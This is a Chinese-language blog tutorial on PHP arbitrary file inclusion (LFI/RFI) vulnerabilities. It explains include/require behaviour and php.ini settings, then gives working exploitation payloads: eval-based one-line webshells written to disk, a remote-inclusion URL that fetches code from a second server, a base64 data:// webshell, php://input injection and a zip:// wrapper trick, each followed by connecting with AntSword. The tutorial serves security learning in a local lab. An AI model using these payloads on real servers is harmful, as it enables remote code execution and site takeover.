任意文件包含漏洞(1) 深碍√TFBOYSˉ_ 2022-11-29 11:41 155阅读 0赞 ### 目录 ### * * 原理 * 分类 * 危害 * 包含的函数 * 本地文件包含 * 远程文件包含 * 利用方式 * * 无文件包含方法 * 有文件包含方法 * 1.伪协议 * * * 1.data * 2.php://input * 3.zip://伪协议 首先要说明的一点是:文件包含不是漏洞,任意文件包含才是漏洞 ## 原理 ## 文件包含漏洞:即`file inclusion` 指当服务器开启`allow_url_include`选项时,就可以通过PHP的某些特性函数(`include(),require()`和`include_once(),requir_once()`),去包含任意文件。此时如果对文件来源不严格过滤审查,就容易包含恶意文件。而攻击者可以通过构造这个恶意文件来达到目的。 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备的include、require等函数 ## 分类 ## LFI:local fileinclude 本地文件包含漏洞,被包含的文件在服务器本地 RFI:remote file include 远程文件包含漏洞,被包含的文件在第三方服务器(如站库分离) 远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。 ## 危害 ## 1.配合文件上传漏洞Getshell (常见图片马中) 2.可执行任意脚本代码 3.可导致网站源码文件及配置文件泄露 4.远程包含GetShell 5.控制整个网站甚至服务器 ## 包含的函数 ## `include()` :包含并运行指定文件,当包含外部文件发生错误时,系统会给出警告信息,但整个php文件依旧`继续执行` `include_once()`: 功能如上,但是在执行此函数前会先检测下文件是否被导入过。如果已经执行过就`不重复执行` `require()` : 和include()功能相同,但是如果require()执行有错误,函数会输出错误信息,并`终止运行php文件` `require_once()`: 功能同require(),但会在执行此函数前会先检测下文件是否被导入过。如果已经执行过就`不重复执行` ## 本地文件包含 ## 在在网站上有两个文件,11.php,22.php 11.php包含了22.php ![在这里插入图片描述][20200820110625603.png_pic_center] 1.php <?php $a=$_REQUEST['123']; include ('2.php'); ?> 2.php <?php phpinfo(); ?> 所以执行11.php的时候,顺带着把22.php也执行了 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center] 当然,现实中不会这么直接就是`include ('22.php')`,可以通过`?`传递参数 如1.php <?php $a=$_REQUEST['123']; include ($a); ?> 2.php <?php fputs(fopen('cy.php','w'),'<?php eval($_POST[cy])?>');?> ![在这里插入图片描述][20200823144135686.png_pic_center] 此时,2.php被执行,在同目录下生成了cy.php文件 ![在这里插入图片描述][20200823144218509.png_pic_center] 用蚁剑连接成功 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1] ## 远程文件包含 ## 远程文件包含的注意点: 1). 需要php.ini中`allow_url_include = on`以及`allow_url_fopen=on` 2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。 比如: `如果远程服务器是php脚本语言解析,则不能远程包含php文件` `如果远程服务器是jsp脚本语言解析,则不能远程包含jsp文件` 1.php <?php $a=$_GET['123']; include ($a); ?> 2.txt <?php fputs(fopen('muma.php','w'),'<?php eval($_POST[123])?>');?> 比如上面的1.php在ip地址为123.45.56.78的服务器上;`2.txt`在ip为234.56.78.91的服务器上——不管ip为234.56.78.9的服务器是php脚本解析还是jsp解析,使用txt后缀总是无错的;本地ip为11.11.11.11(ip纯属乱写) 则可以通过执行`http://123.45.56.78/1.php?123=http://234.56.78.9/2.txt`,,从而在123.45.56.78的服务器上生成muma.php文件 最后使用蚁剑连接 ## 利用方式 ## ### 无文件包含方法 ### 网站不能或者不需要上传文件 比如伪协议中的`php input`、`data`,`中间件的日志文件`,`Session文件`,`mysql`…… ### 有文件包含方法 ### 网站可以上传文件 如伪协议中的`zip`、`路径长度截断绕过`…… ## 1.伪协议 ## 新建一个1.php的文件 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2] #### 1.data #### data方式,需要在php.ini里,设置`allow_url_fopen =On`,`allow_url_include =On`(PHP < 5.3.0) ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3] 造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码执行。 用法1:`?123=data:text/plain,<?php 执行内容 ?>` 用法2:`?123=data:text/plain;base64,编码后的php代码` 这里演示一下进行base64编码的代码执行 <?php eval($\_POST\[123\])?> PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg== ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4] 127.0.0.1/cy/1.php?123=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg== ![在这里插入图片描述][20200822185824357.png_pic_center] 使用蚁剑连接 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 5] #### 2.php://input #### 访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 需要开启`allow_url_include=on`,对`allow_url_fopen不做要求` php input:只接受post传参 enctype=”multipart/form-data” 的时候 php://input 是无效。 如图同样以1.php文件为例 浏览,并在url上添加?123=php://input ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 6] 抓包,将get改为post,并在后面添加一句话木马 <?php fputs(fopen('shell.php','w'), '<?php eval($_POST[123])?>');?> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 7] 生成shell.php文件后,使用蚁剑连接 但是,不知道是不是版本的限制,只在虚拟机里成功实现 ,在自己电脑上没有成功实现 #### 3.zip://伪协议 #### 用法:`?123=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]` ?123=zip://xxx.png\#shell.php。 条件: PHP > =5.3.0,注意在windows下测试要`5.3.0<PHP<5.4` 才可以, 并且 `#`在浏览器中要编码为`%23`,否则浏览器默认不会传输特殊字符。 在12345目录下有个1234.php的文件,文件内容: <php eval($_POST[123])?> 将12345文件打包 ![在这里插入图片描述][20200823161416492.png_pic_center] `127.0.0.1/cy/1.php/123=zip://12345.zip%2312345/1234.php` ![在这里插入图片描述][20200823161252425.png_pic_center] 使用蚁剑连接 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 8] [20200820110625603.png_pic_center]: /images/20221124/e407133ca76444f7b3419e341de22b11.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center]: /images/20221124/325811e11ccb4734a24e003f9efaacf7.png [20200823144135686.png_pic_center]: /images/20221124/8b50abaa8a7d41cd84a5f537e884cdea.png [20200823144218509.png_pic_center]: /images/20221124/5ee190b9b2954084acd26536ff6450e7.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 1]: /images/20221124/8085889f96ca4522a743b5bd93225a4c.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 2]: /images/20221124/1ffd77f28e6341a38b5c2c559c67bab1.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 3]: /images/20221124/57d78c15c27941c98e9d17970b214cea.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 4]: /images/20221124/42bdd16665f640b19100dc3c89b32127.png [20200822185824357.png_pic_center]: /images/20221124/fa335c211f7148b3be5ef21b3ab4ed72.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 5]: /images/20221124/91aef25ecd1a4b96a0a4d5a7714055ec.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 6]: /images/20221124/22f6bfbdb5cc41f8b7320945aa24982d.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 7]: /images/20221124/4ef6badb1a384bad91e82b1eaff1ed7b.png [20200823161416492.png_pic_center]: /images/20221124/903b54bccc174bfba0cecd9fa78d0404.png [20200823161252425.png_pic_center]: /images/20221124/b2bc7a13751047a8978a0e59c0a4a07c.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY2MzkwNQ_size_16_color_FFFFFF_t_70_pic_center 8]: /images/20221124/abf1e40ff0f54c1e8f76d5bde8451a7b.png
还没有评论,来说两句吧...